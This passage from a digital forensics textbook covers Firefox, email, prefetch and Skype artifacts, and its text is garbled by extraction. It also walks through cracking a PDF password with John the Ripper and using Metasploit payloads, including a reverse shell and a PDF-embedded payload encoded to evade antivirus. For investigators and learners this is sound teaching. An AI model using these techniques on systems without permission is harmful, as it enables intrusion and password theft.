CHAPTER 13. INTERNET ARTIFACTS
13.2 Formhistory
First, the Firefox profile has the formhsitory.sqlite database. This database
contains all the data that the user has entered into forms. This could include
usernames, emails, addresses, search queries, etc. It would not include passwords
as those are stored somewhere else. After opening a database, an SQL query is
needed to get information. In this case run the command:
SELECT id , f i e l d n a m e , v a l u e , timesUsed , d a t e t i m e ( f i r s t U s e d / 1 0 0 0 0 0 0 ,
u n i x e p o c h ) , datetime ( lastUsed /1000000 , u n i x e p o c h )
FROM m o z f o r m h i s t o r y ;
The command should retreive information from the moz formhistory table, this
is why it is named in the FORM section. After SELECT all the fields that are
wanted have to be named.
• ID: This is the number used by the database to differentiate entries. Since
a single entry could be very long an id number will help tell when an entry
stops and when the next one starts. This number should be sequential.
• Fieldname: This defines the type of data being stored in the entry. Pos-
sibilites include username, email, and search bar history.
• Value: This is what the user actually typed into the form.
• timesUsed: The number of times the user has used this entry.
• firstUsed: The time the user first used the entry. All time related entries
in these database are stored in someting called PRTime. UNIX Epoch
time is the number of seconds that have passed since January 1st,1970.
PRTime is the UNIX time in microseconds. So this query will first convert
PRTime unto UNIX time and them convert this UNIX time into the more
readable Year-Month-Day Hour-Minute-Second format. This is done with
the datetime function.
144
CHAPTER 13. INTERNET ARTIFACTS
• lastUsed: The last time the user used this entry. It is converted using
the datetime function.
• startTime: The time when the download was started. This time is con-
verted using the datetime function. If the download was canceled and
then restarted, then this value will be updated.
• endTime: The time when the download was completed, paused, or can-
celed. It is converted with the datetime function. A restarted download
will update this value.
• State: If the value is zero then the download is in progress. If its 1 then
the download is complete. If its 3 then the download stopped. If its 4
then its paused.
• Referrer: The URL that directed the browser to the downloaded file.
From the above example, a digital forensics specialist could find out that that
in a form field for either an username or an email the user entered the email
abbasbushehri2@gmail.com once on April 7th, 2018 at 13:46:34. See Figure
13.1.
13.3 Cookies
The cookies.sqlite database stores all the Firefox cookies. The cookies could
tell when was the last time a user visited a site, whether they were logged in or
not, and whether the site set or requested the cookie. Use the following query:
SELECT id , baseDomain , hos t , name , v a l u e , d a t e t i m e ( c r e a t i o n T i m e
/1000000 , u n i x e p o c h ) , datetime ( l a s t A c c e s s e d /1000000 ,
u n i x e p o c h ) , datetime ( expiry /1000000 , uniexpoch )
FROM m o z c o o k i e s ;
145
CHAPTER 13. INTERNET ARTIFACTS
The query gets the following information from the moz cookies table:
• baseDomain: The base URL value. For example, with the URL webmail.hs-
ulm.de, hs-ulm.de would be the baseDomain value.
• Name: The name of the cookie. This field can sometimes tell what infor-
mation the cookie is holding.
• Value: The value of the cookie. This field is usually in a hash format and
not readable. However, some cookies are readable.
• creationTime: When the cookie was first made. It is converted using the
datetime function.
• lastAccessed: When the cookie was last used. It is converted using the
datetime function.
• Expiry: When the cookie deletes itself. It is converted using the datetime
function. The fact that a cookie expires is another reason why a digital
forensic specialist should only work with copies of the original data, as a
copy could be changed over time.
In the Figure 13.2, it can be seen that the 523rd entry in the moz cookies
database is a cookie from the newnotcenter.com domain. The cookie is for
remembering whether or not the Firefox search extension is enabled according
146
CHAPTER 13. INTERNET ARTIFACTS
to the Name. The Value says that it is set to true. The cookie was only accessed
once as the creationTime and lastAccessed are the same. Finally, the cookie has
no expiry date.
13.4 Places
The places.sqlite database has the most information related to the users
activity. It contains all the websites the user visited along with the time they
visited them. The sites are stored in the moz places table while the time is stored
in the moz historyvisits table. So the query will have to match the entries in
one table to the other one. Also, the time is recorded in PRTime once again so
the datetime function will be used. The following query will not only list the
sites with the time, but also convert the time into a readable format, for the
results of the following query, see Figure 13.3
SELECT d a t e t i m e ( m o z h i s t o r y v i s i t s . v i s i t d a t e / 1 0 0 0 0 0 0 ,
u n i x e p o c h ) , m o z p l a c e s . u r l FROM m o z p l a c e s ,
m o z h i s t o r y v i s i t s WHERE m o z p l a c e s . i d = m o z h i s t o r y v i s i t s .
place id ;
13.5 Cache
The Firefox cache stores the images, scripts, and other parts of a website
that has been visited. So if the same website is opened then it will load faster.
Cache is not stored in a SQLite file. In fact, it may not be stored in the usual
Firefox profile. Instead, its stored in:
147
CHAPTER 13. INTERNET ARTIFACTS
Another program has to be used in order to read the cahce. In the case of Win-
dows, download MozillaCacheView from https://www.nirsoft.net/utils/
mozilla_cache_viewer.html. When this program is opened it will automat-
ically read the current contents of the Firefox cache. Since a digital forensics
specialist should only work with a copy of the profile instead of the original,
make sure to load the cache directly from the folder of the copy.
In Figure 13.4, one of the images from the cache is opened. In the images
URL is in the data. The URL is then searched to get the original image. The
148
CHAPTER 13. INTERNET ARTIFACTS
13.7 Bookmarks
Firefox stores the bookmarks data in the places.sqlite database. The relevant
data is stored in two different databases moz places and moz bookmarks. Using
the following SQL query we obtain the result shown in Figure 13.6:
SELECT moz bookmarks . t i t l e , d a t e t i m e ( moz bookmarks . dateAdded
/1000000 , u n i x e p o c h ) , d a t e t i m e ( moz bookmarks . l a s t M o d i f i e d
/1000000 , u n i x e p o c h ) , moz places . url , moz places . t i t l e ,
m o z p l a c e s . v i s i t c o u n t FROM m o z p l a c e s , moz bookmarks WHERE
moz bookmarks . f k = m o z p l a c e s . i d AND moz bookmarks . t y p e <> 3 ;
149
CHAPTER 13. INTERNET ARTIFACTS
150
CHAPTER 13. INTERNET ARTIFACTS
• moz places.visit count: The number of times the bookmark was used.
13.8 Extensions
Firefox stores the extensions data in a JSON file called extensions.js. It will
contain data on what extensions the user has, when they were downloaded, and
whether they are enabled. In Figure 13.7, it can be seen that the web extension
uBlock is installed. It could also be found that the extension is enabled.
13.9 Resources
Altheide, Cory; Carvey, Harlan: Digital Forensics with Open Source Tools:
Using Open Source Platform Tools for Performing Computer Forensics on Tar-
get Systems: Windows, Mac, Linux, Unix, Etc. Elsevier Science, 2011.
151
CHAPTER 13. INTERNET ARTIFACTS
152
Chapter 14
Email Artifacts
14.1 Introduction
Many cyber crimes have involved the use of emails, either as the means
or the evidence of the crime. Emails could contain evidence of many types
of crimes such as: Domestic violence, Cyber-harassment, Extortion, Embez-
zlement, Fraud, Identity theft, Child exploitation and abuse, Terrorism, Drug
dealing, Gambling, Intellectual property theft or Organized crime.
• POP3 (Post Office Protocol 3): POP3 is used to read the email. It
stores the emails in a single folder until the user downloads them. After
an email has been downloaded, it is deleted from the server by POP3.
However, a user could choose to keep the emails on the server after down-
loading for a period of time. This means the investigators should not
ignore this server even if the user already downloaded the email.
153
CHAPTER 14. EMAIL ARTIFACTS
• From: This field contains the senders email address, which could be faked.
It could also contain the senders name, which could also be faked. The
reason they could both be faked is because SMTP does not verify email
headers.
• To: This contains the receivers address, and possibly their name. Once
again this could have been spoofed.
• Date: This includes the date, day of the week, time, and time zone.
This field is recorded by the senders computers clock. However, it is not
accurate if the senders clock is not set correctly.
Full Header:
• Received: This field is in the format from [IP address] by [server name]
with [Internet protocol], day of the week (first three letters), date [format:
day month (first three letters) year], at [time (format is hour:minute:seconds)]
time zone. Some email systems do not include the IP address of the sender.
154
CHAPTER 14. EMAIL ARTIFACTS
Also, emails can contain more than one Received field if the email goes
through several servers. This is because a server is responsible for creating
this field. Multiple Received fields can reveal whether or not the senders
IP address is faked. The investigator just has to check if the location next
to the word by is the same as the location next to the word from in the
Received field below it. If they do not match, then the senders IP address
has been faked.
• Message ID: This contains the name of the server and a unique string
that the server assigned to the message. This string can be used to track
the message.
• X-Mailer: This specifies the email system used to send the message.
Examples include Microsoft Outlook and Verizon Webmail.
155
CHAPTER 14. EMAIL ARTIFACTS
email into this query tool, and the tool then retrieves information about the
ISP. A static IP address is easy to trace back to the computer. To trace a
dynamic IP address, the investigator should also provide the date and time the
criminal used the IP address. Domain names can also be used for a WHOIS
search. However, in this case the investigator should know exactly what they
are looking for, because many different results could come from this query.1
14.5.2 Tor
It is a communication system that allows people to communicate without
losing their privacy.Instead of the message taking a direct route, the data packets
on the Tor network take a random pathway through several relays that cover
your tracks so no observer at a single point can tell where the data came from
or where it is going.
14.5.3 Avoidance
With this technique, a users actions are displaced to times and places where
the surveillance is assumed to be absent. For example, Al-Qaeda used this tech-
nique to distribute its propaganda videos. Websites and message boards were
used to distribute these videos. Different websites uploaded the videos, then the
videos would remove themselves after a period of time, and then they would be
uploaded on different websites. This technique made it hard for authorities to
track where the videos were being uploaded form.
14.5.4 Piggybacking
When there is surveillance, the information that needs to pass through unde-
tected can be attached to a legitimate object. One way this can be accomplished
is with stenography where the data could be hidden inside a sound or image
file. In this case, only someone with the appropriate software can see the hidden
message.
1 cf. Mar15
156
CHAPTER 14. EMAIL ARTIFACTS
14.5.6 Pizzini
Small slips of paper, either handwritten or typewritten, that are used for
communication in order to avoid the surveillance of telecommunications and
electronic communications.
14.6 Resources
Maras, Marie-Helen: Computer Forensics: Cybercriminals, Laws, and Evi-
dence. Jones & Bartlett Learning, 2015.
157
CHAPTER 14. EMAIL ARTIFACTS
158
Chapter 15
History of Actions
15.1 Introduction
This hack deals with the history of actions from a user, which means a digital
forensics expert can find tracks and evidence of possible illegal activities. In
order to understand how to extract that informations, a baseline understanding
of the technology to provide a good foundation for how and why prefetch files
contain certain data is needed.
159
CHAPTER 15. HISTORY OF ACTIONS
erating system. Do not get confused by the file names because, their naming
convention is unique for each type of prefetch files. The most common prefetch
file types are the application prefetch files, which filenames contains the appli-
cation name followed by a thirty two bit hash or number represented in hex-
adecimal, which is an indicator for the location of the application and finishes
with the .pf extension. With all this information a forensics expert may ask
now what is the forensics value of the prefetch file?
Often, hackers will hide tools in plain sight in unusual directories in the Sys-
tem32 folder. The System32 directory is a folder that contains many programs
used by the operating system. Most users do not browse this directory. The full
directory path in the prefetch file can also provide any user accounts, this could
reveal a temporary account used for malicious activity by showing programs
that were executed sometime in the past by a potential unauthorized user. This
may answer the who question for a forensic exam, or at least narrow the scope.
Lastly analyzing the full paths in the prefetch files can show that an appli-
cation was accessed from an external storage device. With that information you
160
CHAPTER 15. HISTORY OF ACTIONS
are able to compare the last access time in the prefetch file with the timestamps
in the USBStor registry key. If you identify matching timestamps the USBStor
registry key entry will contain a serial number of the device. This can lead to
other devices that need to be seized and analyzed. Identifying unaccounted USB
storage devices and applications or files accessed on those USB devices might
help in answering the what and why questions. The next section of this docu-
ment will be focused on the tools you can use for your forensics examination of
prefetch files.
15.4 Tools
15.4.1 Windows File Analyzer
Windows File Analyzer analyzes Prefetch-Files which are saved in the folder
Prefetch, located within C:/Windows. These files contain interesting informa-
tion about forensic analysis. This utility is very user-friendly and therefore easy
to use. Download https://www.mitec.cz/wfa.html
This program doesnt need any installation, thus you just can run it. Af-
ter opening just select File-¿Analyze Prefetch. Then pick the prefetch-folder
of your choice and the Windows File Analyzer accomplishes its duty. Unfortu-
nately, Windows File Analyzer can only be used by Windows OS ending with
Windows 7 and Windows Server 2008. Since Windows 8 or newer isnt supported
by WFA, there have to be other programs to come into use. For example: Win-
PrefetchView. Cf. Figure 15.1.
161
CHAPTER 15. HISTORY OF ACTIONS
15.4.2 winprefetchview
WinPrefetchView is used to read the informations which are stored in those
prefetch-files. With this program you are able to display these informations
onto your screen. There you can see clues when which applications were run
last and what files were loaded by them. Furthermore you can see which files
are loaded on Windows boot. Download: http://www.nirsoft.net/utils/
win_prefetch_view.html
After downloading, you get a zip file you need to extract. This zip-file
contains a .exe-file you only have to run. There is no installation needed. You
can also run this .exe-file on a external USB-flashdrive to keep your system
untouched. Usually, winprefetchview automatically selects the original windows
prefetch-folder, but within the application you are able to select another target-
folder. Here you can analyse a single file. To do so select one file and click on File
and Select Properties (alternative: select one file and press Alt + Enter), shown
by Figure 15.2. When using winprefetchview with the command interpreter
(e.g. CMD or Powershell), you now are able to access the advanced options of
the tool, for example selecting a certain prefetch directory for your analysis. To
use another directory type in the following command:
C:\ > [ path ] \ WinPrefetchView . e x e / f o l d e r [ path ] \ [ d i r e c t o r y name ]
You can also save it in a. html-file, .xml-file or in a tab-delimited text file to get
a better overview. To simplify your searching, you can sort you findings. In this
case, we sorted our findings by the Run-Counter (i.e. how often a application
has been started) and saved it into a .html-file:
C:\ > [ path ] \ WinPrefetchView . e x e / f o l d e r [ path ] \ [ d i r e c t o r y name ] /
shtml [ path ] \ [ f i l e n a m e ] / s o r t ˜Run C o u n t e r
162
CHAPTER 15. HISTORY OF ACTIONS
If you have a clue, e.g which application was used to commit a crime, you can
specifically extract one certain prefetch-file to analyze its loaded files and the
last run time.
C:\ > [ path ] \ WinPrefetchView . e x e / f o l d e r [ path ] \ [ d i r e c t o r y name ] /
s v e r h t m l [ path ] \ [ f i l e n a m e ] / p r e f e t c h f i l e [ path ] \ [ f i l e n a m e ]
To conclude this hack, the following Figure 15.3 presents further cmd commands
for the WinPrefetchViewer.
15.5 Resources
https://helpdeskgeek.com/help-desk/delete-disable-windows-prefetch/
https://www.forensicmag.com/
163
CHAPTER 15. HISTORY OF ACTIONS
164
Chapter 16
Skype-Database Analysis
16.1 Introduction
The IP telecommunication and messenger service Skype enjoys great popu-
larity. With more than 300 million monthly users, the service is market leading.
But there is also an obvious reputation according bad data security. Because
despite various news about spying on Skype, it is also used again and again for
criminal activities. All of this, coupled with the wide spread use on home and
office computers makes Skype an fitting target in a forensic analysis.
Skype handles a lot of information as a telecommunication program and
instant messenger, including contact data ranging from the phone number to
the address of the user, chat history including downloaded or exchanged data
and user-generated content such as contact pictures or video calls. As always
in forensic investigations, if you know what you are looking for, you can find
results quick and easy. Checking the suspect’s account, his contacts and chats,
could make some progress in investigations.
The analysis of Skype Classic is very easy thanks to the variety of commercial
and non-commercial tools; even without SQL knowledge. However, how efficient
or effective the analysis of objects is and whether anything can be found is left
to the forensic sense of the examiner. However, if a suspect has used Skype
Classic for illegal activities, the evaluation of the data will be a pleasure. Since
SQLite also has the property of only marking deletions and not deleting them
permanently, even old data can easily be obtained for the experienced forensic
examiner.
16.2 Setup
First, we’ll start by looking for the IP address from which Skype was started
last. After identifying the path of Skype, usually in C:\UsersN̈ame”\AppData\Roaming\Skype,
we open the shared.xml document as shown in Figure 16.1. We won’t go into
detail about the meaning of each line, since its easy to google, but for example
165
CHAPTER 16. SKYPE-DATABASE ANALYSIS
the hint that ”¡LastIP¿” is a decimal number and we can convert it to the IP
of ”67.81.249.189”. The information we are looking for is in the line of: ”¡Con-
traProbeResults¿”.
The next step is to install SQLite in order to examine the database records
of Skype Classic, so that we can find crucial information about what, when and
how a crime was committed.
166
CHAPTER 16. SKYPE-DATABASE ANALYSIS
• CallMembers: Contains all the information about calls, like their dura-
tion, the caller etc. In Figure 16.3, type 1 is ingoing call, type 2 is outgoing
call; status 6 is successfully executed call, status 13 is unanswered call. As
shown in Figure 16.4, the creation timestamp refers to the Unix times-
tamp on the server, which cannot be manipulated locally, and shows the
correct time of all recorded local actions.
• Contacts: Stores the users contact list including information like avail-
ability, or the avatar, cf. Figure 16.5.
167
CHAPTER 16. SKYPE-DATABASE ANALYSIS
168
CHAPTER 16. SKYPE-DATABASE ANALYSIS
169
CHAPTER 16. SKYPE-DATABASE ANALYSIS
170
Chapter 17
Password Cracking
17.1 Introduction
In the recent years passsword security is becoming more and more impor-
tant. As the hardware in our computers becomes increasingly more powerful
it also becomes increasingly easier to guess passwords by using some forms of
brute force (trying all combinations which are possible) methods. When looking
at the industry we can see that passwords are usually stored either hashed or
in plain text. The latter example is not a great idea since any hacker that man-
ages to break into the database will instantly have all the passwords available
to him. A better idea is to use a one way hashing algorithm that encrypts the
passwords.
So now that we know how the passwords are usually stored we have to look
at some maths to determine how weak or strong our passwords are and what
is possible when we talk about guessing passwords with software. These days
any computer equipped with the right software tools can easily guess billions of
passwords per second and super computers that are used by the NSA can guess
more than a quintillion passwords a second.
From mathematics we know that the formula for computing all possible
passwords with a certain number of characters is: (number of characters in the
alphabet)ˆ(password length) so a simple password like ’hello’ would fall into a
category where we have 26 characters in the alphabet and a length of 5. This
means that there are 265̂ = 11881376 possible combinations for such types of
passwords. A person trying to crack such easy passwords with a computer that
can guess around 50 million passwords per second would only need around 2
seconds to crack the password. If we, however, consider passwords that use
the lower and upper case characters, numbers and some special characters we
end up with an alphabet that consists of 80 characters. If the password is 10
characters long then the person trying to guess the password by the means of
brute force would need to wait for around 6800 years. At this point we can be
happy that our passwords are secure but when we consider the fastest super-
171
CHAPTER 17. PASSWORD CRACKING
computers that can try quintillions of passwords per second even this strong
password becomes available to easily crack and this password would be cracked
in around 10 seconds (if we consider a speed of 1 quintillion guesses per second).
These kinds of computing speeds are still not available for the general public
so that’s why we have to choose different methods of trying to crack passwords.
17.2.1 Installation
In this tutorial we are going to use a pre - compiled version of john the ripper
to make the experience easier for others who want to try this hack and it is okay
to do so as we are only trying to use this for learning purposes.
We use a unix based machine in this example and we start by downloading a
compiled version of John the Ripper from http://openwall.info/wiki/john/
custom-builds. After downloading and unzipping the file we have a directory
with all the files of John the ripper. In terminal we navigate to the folder with
cd and then do:
$ cd run
Now we are in the run folder, as shown in Figure 17.1 and can execute the hack
we choose. List all the available hacks with:
$ ls
our example:
$ . / p d f 2 j o h n . p l / U s e r s / k g u d z i u s / Desktop /x . p d f > / U s e r s / k g u d z i u s /
Desktop / o ut pu t . t x t
Now we have a file called output.txt on our desktop and it’s contents looks like
this:
172
CHAPTER 17. PASSWORD CRACKING
Then we have to decrypt the hash code file. We are going to do this by using a
word list, shown by Figure 17.3.
$ j o h n −−w o r d l i s t =/u s r / s h a r e / w o r d l i s t / sqlmap . t x t / r o o t / Desktop /
mypassword . t x t
That is the output of this command. We can see the decrypted password. The
command finished in about 15 minutes. We can see the cracked password -
”hello” !
17.4 Resources
http://openwall.info/wiki/john
173
CHAPTER 17. PASSWORD CRACKING
174
CHAPTER 17. PASSWORD CRACKING
175
CHAPTER 17. PASSWORD CRACKING
176
Chapter 18
18.1 Introduction
Metasploit is a very strong security testing tool, as it is a very feature rich
platform. The framework is a complete platform for performing vulnerability
testing and exploitation, loaded with thousands of exploits and hundreds of
payloads.
Performing an exploit using Metasploit will normally lead to either a Remote
shell to the target computer, which is a remote terminal connection or a Me-
terpreter shell, offering many programs and utilities that can be run to gather
information about the target computer or control devices like the webcam or
microphone1.
Metasploit is handy tool for forensic analysts, as it can provide a remote shell
to a target computer that can be used to obtain information without changing
the data. Its possible to download files, such as log files from the target system,
as well as recovering data without direct access. However, this purposes that
the analyst has the owners permission to do so.
177
CHAPTER 18. METASPLOIT FOR FORENSIC INVESTIGATIONS
be disabled first1. To start the msf prompt simply navigate to the Metasploit
directory and start the console.bat under Windows or type ./msfconsle under
Linux.
18.3 Definitions
18.3.1 Exploits
Exploits are the attacking methods. Metasploit has a wide collection of
exploits of different OS, that can be used for many safety and penetration tests.
On the other hand, this large number of exploits can be used to intrude into
other devices. Exploits concentrate on Software and Hardware vulnerabilities
on the respective system. Its important to carefully chose the exploit depending
on the target OS and configure the corresponding options.
18.3.2 Payload
Payload is the executable code, that is run once the system has been in-
truded. Examples of payloads are different kinds of shells, such as the Me-
terpreter, that autonomously build up a reverse connection to the attacking
machine. Metasploit contains many different types of payloads collected in a
Database, that can be listed using the command show payloads. All payloads
are handled by the Multi Handler, no matter what architecture or connection
type is used
18.3.3 Msfvenom
The msfvenom command can be used to create a payload file. It combines
both tools, msfpayload and msfencode. Msfpayload is compromising the process
of selecting a payload, set the payload and set all necessary options, msfencoder
re-encodes the payload to hide it from VS. By using msfvenom re-encoding and
embedding the payload can be done by one single tool at once. Msfvenom has
many options that can be used along with this command, shown by msfvenom
-h. An example of this is shown in the Hack, later
178
CHAPTER 18. METASPLOIT FOR FORENSIC INVESTIGATIONS
exploit path can be used to display the information. For example, having a closer
look on the adobe pdf embedded exe exploit on windows will show the available
targets of this exploit, the options that can be set and a brief description about
what this exploit does. So, this exploit is embedding the payload into an existing
PDF file. See Figure 18.2
To select a chosen, exploit the use command followed by the path of the
exploit must be run. See Figure 18.3
179
CHAPTER 18. METASPLOIT FOR FORENSIC INVESTIGATIONS
180
CHAPTER 18. METASPLOIT FOR FORENSIC INVESTIGATIONS
Payloads have options that can be set, the same way we set the exploit
options before. Using the show options command again will now show an addi-
tional section with payload options. See Figure 18.8
Apparently the required LHOST option is not set now. To set this value
the set command must be used. See Figure 18.9
Now that we configured all the required options, we can run the payload by
using the command exploit.
181
CHAPTER 18. METASPLOIT FOR FORENSIC INVESTIGATIONS
182
CHAPTER 18. METASPLOIT FOR FORENSIC INVESTIGATIONS
183
CHAPTER 18. METASPLOIT FOR FORENSIC INVESTIGATIONS
18.6 Resources
Cory Altheide, Harlan Carvey: Digital Forensic with open source tools. El-
sevier LTD, Oxford, 2011, p.85 ff.
https://metasploit.help.rapid7.com/
https://www.security-insider.de/was-ist-metasploit-a-688417/
https://www.offensive-security.com/metasploit-unleashed/msfvenom/
http://hackaholic.info/meterpreter-session-hacking-windows-10/
184
Chapter 19
Conclusion
Wrapping up, this book covered the fundamentals of digital forensics, start-
ing with general definitions of computer and network forensics and their re-
spective goals. Then the digital forensics process was considered, proposing
different approaches to forensic examinations starting from early proposals like
the forensics process model up to cutting edge research like digital forensics as a
service, which was groundbreaking at the time of its release and redefined how
investigations concerning digital evidence was handled via newly arisen cloud
technology and insides and experiences from previous years.
Dealing with the law is a central part of digital forensics, as discussed in
section 2.4, and accordingly from the two case studies these imminent chal-
lenges became very clear, such as the direct conflict with personal rights when
dealing with corporate manners in a forensic examination resulting in the con-
clusion that written consent for almost any action in such an examination is not
only useful but mandatory. As a consequence of these broad requirements of a
digital forensics professional, not only in technical but also legal requirements,
the digital forensics examiner has been characterized as a multi talented highly
skilled professional, not only in hard but also soft skills. This directly drew a
connection in how digital forensics differs from its classical counterpart, due to
the rapidly changing nature of the technological environment.
The heavy dependence of the digital forensics professional on his tool kit
requires a solid consideration about choosing certain programs and frameworks,
thus utilities with a high popularity in the digital forensics community are most
of the time a considerable choice and as it became clear during Chapter 3, the
open source nature of these tools provides useful insides into the technical un-
derlying which also aids to provide authenticity and integrity of digital evidence.
From the second part of the concrete digital forensics hacks covering a range
of frequent performed task it became clear that it should always be guaranteed
that the integrity of the data is achieved, by for example working on a copy
of the image of the evidence at hand. The findings of an analysis should thus
also be documented in a concise and comprehensible manner in order to be
successfully used in a court of law, for example.
185
CHAPTER 19. CONCLUSION
186
Chapter 20
References
[Baar14] R.B. van Baar*, H.M.A. van Beek, E.J. van Eijk,”Digital
Forensics as a Service: A game changer”, 2014
https://ac.els-cdn.com/S1742287614000127/1-s2.
0-S1742287614000127-main.pdf?_tid=
fcc3e4ab-43c7-4d23-8cc6-898624f57be6&acdnat=
1527409619_95394a58929781508813056787d4167c
[Bar04] Venansius Baryamureeba, Florence Tushabe, ”The Enhanced
Digital Investigation Process Model”, 2004
https://www.dfrws.org/sites/default/files/
session-files/paper-the_enhanced_digital_
investigation_process_model.pdf
[Bow18] Owen Bowcott, ”Justice system at ’breaking point’ over
digital evidence”, 2018;
https://www.theguardian.com/law/2018/feb/12/
justice-system-at-breaking-point-over-digital-evidence
[Bran08] Mary Branel, ”Rules of Evidence - Digital Forensics Tools”,
https://www.csoonline.com/article/2117658/
investigations-forensics/
rules-of-evidence---digital-forensics-tools.html
[Comp12] Lorenz Kuhlee, Victor Vlzow, ”Computer Forensik Hacks”,
O’Reilly Verlag, 2012
[Cons89] U.S. Constitution:
https://www.law.cornell.edu/constitution
[Nance11] Kara Nance, Daniel J. Ryan; ”Legal Aspects of Digital
Forensics: A Research Agenda, Proceedings of the 44th
Hawaii International Conference on System Sciences”, 2011
187
CHAPTER 20. REFERENCES
188